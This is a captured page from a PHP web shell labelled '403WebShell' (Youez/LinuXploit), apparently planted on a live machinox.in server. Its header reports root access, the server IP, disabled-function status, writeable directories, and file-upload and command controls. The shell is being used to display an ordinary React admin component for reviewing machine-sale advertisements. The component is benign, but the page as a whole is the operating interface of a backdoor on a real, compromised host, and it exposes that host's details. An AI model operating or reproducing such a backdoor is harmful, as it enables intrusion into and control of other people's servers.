Uname:Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64

Base Dir : /var/www/machinox.in

User : root


403WebShell
403Webshell
Server IP : 13.235.167.51  /  Your IP : 216.73.217.116
Web Server : Apache
System : Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64
User : root ( 0)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/control.machinox.in/src/components/ManageAdvertisement/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/control.machinox.in/src/components/ManageAdvertisement/ViewAdvertisement.tsx
'use client';
import CompoLoader from "@/Common/ComponentLoader/CompoLoader";
import { Label } from "@/Common/Label/Label";
import PageTitle from "@/Common/PageTitle";
import CommonFunction from "@/Services/CommonFunction";
import HelperService from "@/Services/HelperService";
import WebService from "@/Services/WebService";
import { useParams } from "next/navigation";
import React, { useEffect, useState } from "react";
import { Breadcrumb, Button, Card, Col, Form, Row } from "react-bootstrap";
import { FaRegCheckCircle } from "react-icons/fa";
import { IoIosCloseCircleOutline } from "react-icons/io";
import { toast } from "react-toastify";

let number = Math.random();

const ViewAdvertisement = () => {
    let { id } = useParams();
    const [loader, setLoader] = useState(false);
    const [data, setData] = useState<any>();
    const [getBreadcrumb, setBreadcrumb] = useState("View Advertisement");

    useEffect(() => {
        getAdvertisementInfo();
    }, [id])

    const getAdvertisementInfo = () => {
        setLoader(true);
        WebService.getAPI({
            action: `admin/advertises/${id}`,
            body: null,
            isShowError: true
        }).then((res: any) => {
            setLoader(false);
            setData(res.info);
        }).catch((error: any) => {
            setLoader(false);
            return false
        })
    }

    const updateStatus = (mode: string, id: number) => {
        WebService.putAPI({
            action: `admin/advertises/${id}/status`,
            body: { status: mode },
            isShowError: true
        }).then((res: any) => {
            toast.success(res.message)
            window.history.back();
        }).catch((error: any) => {
            return false;
        })
    }

    return (
        <>
            <div className="position-relative">
                {loader ? <CompoLoader /> : null}
                <div className="page-properties pb-3">
                    <div className="nb-3">
                        <Breadcrumb>
                            <Breadcrumb.Item href="/manage-advertisements">{" Advertisement"}</Breadcrumb.Item>
                            <Breadcrumb.Item active>
                                {getBreadcrumb}
                            </Breadcrumb.Item>
                        </Breadcrumb>
                    </div>
                    <Row className=" mb-lg-4 mb-3">
                        <Col lg={8} xs={8}>
                            <div className="d-flex gap-3 align-items-center">
                                <PageTitle
                                    title={getBreadcrumb}
                                    backArrow={true}
                                />
                            </div>
                        </Col>
                    </Row>
                    <Card className="card-style mb-lg-4 mb-3">
                        <Card.Header>
                            <h4 className="card-title text-white">{getBreadcrumb} </h4>
                        </Card.Header>
                        <Card.Body key={number}>

                            <Row>
                                <Col lg={6} xs={12} xl={6} md={6}>
                                    <Form.Label className="form-label">Title:</Form.Label>
                                </Col>
                                <Col lg={6} xs={12} xl={6} md={6}>
                                    <span className="font-14"><strong>{data?.title || '-'}</strong></span>
                                </Col>
                            </Row>

                            <Row>
                                <Col lg={6} xs={12} xl={6} md={6}>
                                    <Form.Label className="form-label">Description:</Form.Label>
                                </Col>
                                <Col lg={6} xs={12} xl={6} md={6}>
                                    <span className="font-14">{data?.description || '-'}</span>
                                </Col>
                            </Row>

                            <Row>
                                <Col lg={6} xs={12} xl={6} md={6}>
                                    <Form.Label className="form-label">Advertise Type:</Form.Label>
                                </Col>
                                <Col lg={6} xs={12} xl={6} md={6}>
                                    <span className="font-14">{HelperService.toProperCase(data?.advertise_type) || '-'}</span>
                                </Col>
                            </Row>

                            <Row>
                                <Col lg={6} xs={12} xl={6} md={6}>
                                    <Form.Label className="form-label">Year Manufactured:</Form.Label>
                                </Col>
                                <Col lg={6} xs={12} xl={6} md={6}>
                                    <span className="font-14">{data?.year_manufactured || '-'}</span>
                                </Col>
                            </Row>

                            <Row>
                                <Col lg={6} xs={12} xl={6} md={6}>
                                    <Form.Label className="form-label">Price:</Form.Label>
                                </Col>
                                <Col lg={6} xs={12} xl={6} md={6}>
                                    <span className="font-14">{data?.price || '-'}</span>
                                </Col>
                            </Row>

                            {data?.advertise_type == "RENT" &&
                                <Row>
                                    <Col lg={6} xs={12} xl={6} md={6}>
                                        <Form.Label className="form-label">Monthly Rent Price:</Form.Label>
                                    </Col>
                                    <Col lg={6} xs={12} xl={6} md={6}>
                                        <span className="font-14">{data?.rent_monthly || '-'}</span>
                                    </Col>
                                </Row>
                            }

                            <Row>
                                <Col lg={6} xs={12} xl={6} md={6}>
                                    <Form.Label className="form-label">Running Hours:</Form.Label>
                                </Col>
                                <Col lg={6} xs={12} xl={6} md={6}>
                                    <span className="font-14">{data?.running_hours || '-'}</span>
                                </Col>
                            </Row>

                            <Row>
                                <Col lg={6} xs={12} xl={6} md={6}>
                                    <Form.Label className="form-label">Condition:</Form.Label>
                                </Col>
                                <Col lg={6} xs={12} xl={6} md={6}>
                                    <span className="font-14">{HelperService.toProperCase(data?.condition) || '-'}</span>
                                </Col>
                            </Row>

                            <Row>
                                <Col lg={6} xs={12} xl={6} md={6}>
                                    <Form.Label className="form-label">Location:</Form.Label>
                                </Col>
                                <Col lg={6} xs={12} xl={6} md={6}>
                                    <span className="font-14">{data?.location || '-'}</span>
                                </Col>
                            </Row>

                            <Row>
                                <Col lg={6} xs={12} xl={6} md={6}>
                                    <Form.Label className="form-label">Status:</Form.Label>
                                </Col>
                                <Col lg={6} xs={12} xl={6} md={6}>
                                    <span className={`font-14 ${CommonFunction.addBadgesBasedOnStatus(data?.status)}`}>
                                        {HelperService.toProperCase(data?.status || '-')}
                                    </span>
                                </Col>
                            </Row>

                            <Row>
                                <Col lg={6} xs={12} xl={6} md={6}>
                                    <Form.Label className="form-label">Machine Type:</Form.Label>
                                </Col>
                                <Col lg={6} xs={12} xl={6} md={6}>
                                    <span className="font-14">{data?.machine_type?.name || '-'}</span>
                                </Col>
                            </Row>

                            <Row>
                                <Col lg={6} xs={12} xl={6} md={6}>
                                    <Form.Label className="form-label">Machine Model:</Form.Label>
                                </Col>
                                <Col lg={6} xs={12} xl={6} md={6}>
                                    <span className="font-14">{data?.machine_model?.name || '-'}</span>
                                </Col>
                            </Row>

                            <Row>
                                <Col lg={6} xs={12} xl={6} md={6}>
                                    <Form.Label className="form-label">Image:</Form.Label>
                                </Col>
                                <Col lg={6} xs={12} xl={6} md={6}>
                                    <div className="d-flex gap-3 flex-wrap">
                                        {data?.images?.length > 0 ? (
                                            data.images.map((img: any, index: number) => (
                                                <img key={index} src={img?.image} alt="Machine" height={100} width={100} />
                                            ))
                                        ) : (
                                            <span className="font-14">No Image</span>
                                        )}
                                    </div>
                                </Col>
                            </Row>
                            <div style={{ fontSize: "20px" }}>Requested By -</div>
                            <Row>
                                <Row>
                                    <Col lg={6} xs={12} xl={6} md={6}>
                                        <Form.Label className="form-label">User Name:</Form.Label>
                                    </Col>
                                    <Col lg={6} xs={12} xl={6} md={6}>
                                        <span className="font-14"><strong>{data?.user?.name || '-'}</strong></span>
                                    </Col>
                                </Row>

                                <Row>
                                    <Col lg={6} xs={12} xl={6} md={6}>
                                        <Form.Label className="form-label">User Email:</Form.Label>
                                    </Col>
                                    <Col lg={6} xs={12} xl={6} md={6}>
                                        <span className="font-14">{data?.user?.email || '-'}</span>
                                    </Col>
                                </Row>


                                <Col lg={6} xs={12} xl={6} md={6}>
                                    <Form.Label className="form-label">User Mobile No:</Form.Label>
                                </Col>
                                <Col lg={6} xs={12} xl={6} md={6}>
                                    <span className="font-14">{data?.user?.mobile_number || '-'}</span>
                                </Col>
                            </Row>
                        </Card.Body>
                    </Card>
                    {data?.status == "PENDING" &&
                        <>
                            <div className="text-center gap-3">
                                <Button>
                                    <FaRegCheckCircle
                                        title="Accept"
                                        onClick={() => updateStatus("ACCEPT", data?.uuid)}
                                        size={25}
                                    />
                                </Button>&nbsp;&nbsp;
                                <Button>
                                    <IoIosCloseCircleOutline
                                        title="Reject"
                                        size={25}
                                        onClick={() => updateStatus("REJECT", data?.uuid)}
                                    />
                                </Button>
                            </div>
                        </>
                    }
                </div>
            </div>
        </>
    )
}

export default ViewAdvertisement;

Youez - 2016 - github.com/yon3zu
LinuXploit